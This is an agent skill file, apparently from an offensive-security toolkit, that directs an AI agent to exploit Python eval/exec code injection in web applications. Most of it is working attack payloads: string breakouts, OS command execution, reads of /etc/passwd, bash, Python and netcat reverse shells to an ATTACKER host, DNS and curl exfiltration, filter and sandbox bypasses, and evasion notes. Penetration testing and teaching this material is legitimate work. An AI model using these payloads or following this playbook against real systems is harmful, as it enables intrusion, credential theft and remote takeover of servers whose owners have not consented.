Agent skill
python-code-injection
Exploit Python eval(), exec(), and compile() injection in web applications. Distinct from OS command injection (shell operators) and SSTI (template engines) — this targets direct Python code evaluation of user input.
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/python-code-injection
SKILL.md
Python Code Injection
You are helping a penetration tester exploit Python code injection via eval(), exec(), or compile(). The target application passes user-controlled input to a Python code evaluation function without proper sanitization. The goal is to execute arbitrary Python code and escalate to OS command execution. All testing is under explicit written authorization.
This is NOT OS command injection. Shell operators (;, |, &&) do not
work because the injection context is a Python interpreter, not a shell. You
must write valid Python expressions or statements.
This is NOT SSTI. Template injection targets Jinja2/Twig/Freemarker
rendering engines. This skill targets direct eval()/exec() calls in application
code. If {{7*7}} returns 49, route to ssti-jinja2 or ssti-twig
instead. If {{7*7}} returns literally but 7*7 evaluates, you're in the
right place.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[python-code-injection] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
Scope Boundary
This skill covers Python code injection through eval(), exec(), and compile() — from confirming the injection through achieving OS command execution. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
- What was found (vulns, credentials, access gained)
- Context to pass (injection point, target, working payloads, etc.)
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- A parameter that gets passed to Python eval(), exec(), or compile()
- Common vulnerable patterns: search engines (Searchor), calculators, query builders, dynamic filters, format string handlers, custom DSLs backed by eval
- Knowledge of the injection context (string argument, numeric, f-string, etc.)
Step 1: Assess
If not already provided, determine:
- Injection function — eval() (expressions only) vs exec() (statements) vs compile() (either)
- Injection context — is input placed inside a string literal, as a bare argument, in an f-string, or concatenated into code?
- Visible or blind — is the return value of eval() reflected in the response, or is this blind (side-channel only)?
- Sanitization — are any characters filtered? (quotes, parens, underscores, dots, brackets)
Distinguishing eval() from exec()
| Feature | eval() | exec() |
|---|---|---|
| Accepts | Expressions only | Statements and expressions |
| Returns | Expression result | None |
import os |
SyntaxError | Works |
| Multi-line | No (single expression) | Yes |
Assignment (x=1) |
SyntaxError | Works |
If you can execute __import__('os') but not import os, it's likely eval().
If both work, it's likely exec() or compile().
Common Vulnerable Patterns
Pattern 1: String interpolation into eval (most common)
# Application code:
result = eval(f"func('{user_input}')")
# Injection: break out of the string, inject code, comment out remainder
Pattern 2: Direct eval of parameter
# Application code:
result = eval(request.args.get('expr'))
# Injection: any Python expression works directly
Pattern 3: exec() with string building
# Application code:
exec(f"variable = '{user_input}'")
# Injection: break out of string, inject statements
Pattern 4: eval() in ORM/filter context
# Application code:
query = eval(f"Model.objects.filter({user_input})")
# Injection: close the filter, chain arbitrary code
Skip assessment if context was already provided by web-discovery or the orchestrator.
Step 2: Confirm Injection
Quick Confirmation Probes
Test these in order — the first one that returns an evaluated result (not a literal echo) confirms eval() injection:
# Arithmetic — most universal
7*7
str(7*7)
# String operations
'A'*3
str(type(1))
# Python builtins
str(True)
str(len('test'))
Expected responses for confirmation:
7*7→49(not the literal7*7)'A'*3→AAAstr(type(1))→<class 'int'>
Disambiguate from SSTI
If 7*7 returns 49, also test template syntax to rule out SSTI:
{{7*7}} → if this ALSO returns 49, route to ssti-jinja2 or ssti-twig
${7*7} → if this returns 49, route to ssti-freemarker
<%= 7*7 %> → if this returns 49, route to ERB SSTI
If template syntax returns literally but bare Python expressions evaluate → this is eval() injection, not SSTI.
Error-Based Confirmation
Inject invalid Python to trigger error messages:
'
)
(
__import__
Python tracebacks in the response (SyntaxError, NameError,
TypeError) confirm Python code evaluation. The traceback may also reveal:
- The eval()/exec() call in the stack trace
- The file path of the application
- The full code context around the injection point
Step 3: Breakout Payloads
The breakout strategy depends on the injection context. Identify which context you're in, then use the matching payload pattern.
Context A: Input Inside a String Argument
The most common pattern — your input is placed inside quotes within a function call:
# Application code:
eval(f"Engine.search('{INJECTION}', copy_url=False)")
Breakout strategy: Close the string and function call, concatenate your code, comment out the trailing syntax.
# Payload template:
# CLOSE_STR + CLOSE_PARENS + OPERATOR + CODE + COMMENT
# Read /etc/passwd
test',copy_url=False)+str(open('/etc/passwd').read())#
# Execute OS command
test',copy_url=False)+str(__import__('os').popen('id').read())#
# With named args to satisfy function signature
test',copy_url=False,open_web=False)+str(__import__('os').popen('id').read())#
Adjust the closing syntax to match the context:
# If inside double quotes:
test",copy_url=False)+str(__import__('os').popen('id').read())#
# If inside parens inside a string:
test'),key=val)+str(__import__('os').popen('id').read())#
# If multiple nested calls:
test'))+str(__import__('os').popen('id').read())#
Context B: Direct Expression Evaluation
Input is passed directly to eval() without wrapping:
# Application code:
result = eval(user_input)
No breakout needed — inject Python expressions directly:
# OS command execution
__import__('os').popen('id').read()
# File read
open('/etc/passwd').read()
# Reverse shell
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
Context C: Numeric/Arithmetic Context
Input expected to be a number in an arithmetic expression:
# Application code:
result = eval(f"{user_input} * price")
Breakout strategy: Satisfy the arithmetic, then chain code:
# Payload:
1+0 if __import__('os').system('id') else 0
(1).__class__.__bases__[0].__subclasses__()
# With string concatenation to exfiltrate:
str(__import__('os').popen('id').read())+str(0*
Context D: exec() with Statement Injection
If exec() is used, you can inject full Python statements:
# Close the existing statement, inject new ones
'; import os; os.system('id') #
' + ''; import os; os.system('id') #
# Multi-statement via semicolons
a=1; import os; os.system('id')
# Newline injection (if %0a is not filtered)
%0aimport os%0aos.system('id')
Step 4: Command Execution Payloads
Once you can inject arbitrary Python expressions, achieve OS command execution.
Primary Payloads (use these first)
# popen — returns output (best for visible injection)
__import__('os').popen('id').read()
__import__('os').popen('cat /etc/passwd').read()
__import__('os').popen('whoami').read()
# system — returns exit code only (0 = success)
__import__('os').system('id')
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
# subprocess
__import__('subprocess').check_output('id',shell=True).decode()
__import__('subprocess').check_output(['cat','/etc/passwd']).decode()
Wrapping for Visible Output
When the application returns the eval() result, wrap commands to ensure output is captured:
# Wrap in str() for string coercion
str(__import__('os').popen('id').read())
# Concatenate with expected return value (stealth)
'https://google.com/'+__import__('os').popen('id').read()
# Multiple commands in one injection
str(__import__('os').popen('id && whoami && cat /etc/passwd').read())
Reverse Shell Payloads
# Bash reverse shell
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
# Python reverse shell (if bash is restricted)
__import__('os').system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'')
# Netcat reverse shell
__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f')
Blind Injection (No Output Reflected)
When eval() result is not returned in the response:
# Time-based confirmation
__import__('time').sleep(5)
# DNS exfiltration
__import__('os').system('host $(whoami).ATTACKER.com')
# HTTP exfiltration
__import__('os').system('curl http://ATTACKER:PORT/$(whoami)')
# File write (retrieve via LFI or directory listing)
__import__('os').system('id > /var/www/html/proof.txt')
# Reverse shell (most practical for blind)
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
Step 5: Filter Bypass and Sandbox Escape
Bypassing Character Filters
Underscores (_) blocked:
# Use getattr() and chr()
getattr(getattr(__builtins__,chr(95)*2+'import'+chr(95)*2),'os')
# Use globals/locals
globals()[chr(95)*2+'builtins'+chr(95)*2]
# Via string concatenation
getattr('',chr(95)*2+'class'+chr(95)*2)
Dots (.) blocked:
# Use getattr()
getattr(__import__('os'),'popen')('id')
# Use bracket notation on dicts
__import__('os').__dict__['popen']('id')
Quotes (', ") blocked:
# Use chr() to build strings
__import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read()
# Use bytes decoding
__import__(bytes([111,115]).decode()).popen(bytes([105,100]).decode()).read()
# Use string from existing objects
# 'os' from an exception message, class name, etc.
Parentheses ((, )) blocked:
This is severe — most Python code requires parens. Possible workarounds:
# Decorator abuse (exec context only)
@exec
@input
class X:pass
# Then type your payload at the prompt
# List comprehension with side effects
[x for x in [__import__] if x.__call__]
Brackets ([, ]) blocked:
# Use __getitem__ via getattr
getattr(mylist,'__getitem__')(0)
# Use next(iter()) instead of [0]
next(iter(__import__('os').popen('id')))
Restricted Builtins Bypass
When __builtins__ is restricted or __import__ is removed:
Subclass chain (the universal bypass):
# Find a subclass that has access to os or subprocess
# Step 1: Get object base class
''.__class__.__mro__[1].__subclasses__()
# Step 2: Find useful subclass (os._wrap_close, subprocess.Popen, etc.)
# Enumerate to find the index:
[x for x in ''.__class__.__mro__[1].__subclasses__() if 'wrap_close' in str(x)]
# Step 3: Use it — os._wrap_close has __init__.__globals__ with os module
''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['popen']('id').read()
Finding the right subclass index:
# Dump all subclasses with indices
[(i,x) for i,x in enumerate(''.__class__.__mro__[1].__subclasses__()) if 'os' in str(getattr(getattr(x,'__init__',None),'__globals__',{}))]
# Common targets:
# os._wrap_close — has popen, system in __globals__
# subprocess.Popen — direct command execution
# importlib._bootstrap.BuiltinImporter — can import modules
# warnings.catch_warnings — has builtins in __globals__
Compact subclass exploit (finds os._wrap_close automatically):
[x for x in ''.__class__.__mro__[1].__subclasses__() if 'wrap_close' in str(x)][0].__init__.__globals__['popen']('id').read()
Via globals on any function:
# Any defined function's __globals__ dict contains builtins
(lambda: 0).__globals__['__builtins__'].__import__('os').popen('id').read()
Via exception handler:
# Trigger exception, access traceback globals
try:
raise Exception()
except Exception as e:
import sys
tb = sys.exc_info()[2]
tb.tb_frame.f_globals['__builtins__']['__import__']('os').system('id')
URL Encoding for Web Delivery
When injecting through HTTP parameters, URL-encode special characters:
# Spaces: + or %20
# Single quote: %27
# Double quote: %22
# Hash/comment: %23
# Newline: %0a
# Parentheses: %28 %29
Use --data-urlencode with curl to handle encoding automatically:
curl -s -X POST http://TARGET/endpoint \
--data-urlencode "param=PAYLOAD_HERE"
Step 6: Escalate or Pivot
Credential-Based Access Handoff
When code injection reveals credentials (config files, git repos, environment variables, database connection strings), write a handoff for the operator:
- Save discovered credentials to
engagement/evidence/ - Write connection commands the operator can run
- Report in your return summary: credentials and Pivot Map entry
- Tell the operator: "Credentials found. SSH handoff ready — connect from your terminal."
Do NOT attempt to establish SSH/WinRM sessions programmatically from the injection context — it's fragile and wastes turns debugging interactive auth issues.
Reverse Shell
If credentials aren't found but command execution is confirmed:
- Start a listener on the attackbox:
nc -lvnp PORT - Inject a reverse shell payload from Step 4
- Stabilize:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Routing
- Shell as non-root on Linux → STOP. Return to orchestrator recommending linux-discovery. Pass: hostname, current user, access method (injection-based RCE or reverse shell).
- Shell as non-admin on Windows → STOP. Return to orchestrator recommending windows-discovery. Pass: hostname, current user, access method.
- Found credentials → report credentials, test against SSH/RDP/WinRM/other services. Return to orchestrator recommending the appropriate discovery skill.
- Blind injection only, no shell → extract credentials via DNS/HTTP exfiltration (file reads: config files, .env, .git/config, SSH keys), then use credentials for direct access.
When routing, always pass along: injection point, working payload, target platform, and any credentials found.
OPSEC Notes
- eval()/exec() injection generates Python tracebacks on errors — visible in application logs
- OS commands via system()/popen() create child processes visible in
ps - Reverse shells generate network connections logged by netflow/EDR
- File reads via open() don't create shell processes — lower detection surface than os.popen()
- Prefer
open('/path').read()for file reads overos.popen('cat /path')— no child process created - Blind time-based probes (
time.sleep()) are stealthy — no process creation, no network traffic - URL-encoded payloads are logged in web server access logs in encoded form
Troubleshooting
Payload Returns Empty or None
- eval() returns the expression result — use
str()to coerce to string - system() returns exit code (int), not output — use
popen().read()instead - Check if the application wraps the result (e.g., redirects instead of displaying)
SyntaxError in Response
- You're likely in eval() (expression-only) and injected a statement (import,
assignment). Use
__import__()instead ofimport, use walrus operator:=instead of=(Python 3.8+) - Check quoting context — are you inside single quotes, double quotes, or unquoted?
- Count your parentheses — unbalanced parens cause SyntaxError
NameError: import Not Defined
__builtins__may be restricted. Use the subclass chain (Step 5)- Try
__builtins__.__import__explicitly - Try
getattr(__builtins__, '__import__') - If
__builtins__is a dict (not module):__builtins__['__import__']
Input is Truncated
- Web parameter length limits. Try POST instead of GET
- Use shorter payloads:
__import__('os').system('id')is shorter than__import__('subprocess').check_output('id',shell=True).decode() - For very tight limits, stage: write a short file downloader, then download and execute a full payload
Application Crashes After Injection
- The injected code may cause an unhandled exception. Wrap in try/except:
(lambda:(__import__('os').popen('id').read()))()or ensure your payload produces a value the application can handle - If using
#to comment out trailing code, ensure there's no critical cleanup being skipped (connection closing, transaction commits)
Can Execute Code but No External Network Access
- Target may be in an isolated network. Use the injection for file reads to extract credentials, then pivot via SSH/internal services
- Write results to a web-accessible path and retrieve via HTTP
- Use the injection as a webshell equivalent: script repeated curl calls to execute commands and retrieve output
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
credential-recovery
Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.
remote-access-enumeration
Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.
smb-enumeration
SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).
infrastructure-enumeration
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.
network-recon
Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.
container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
Didn't find tool you were looking for?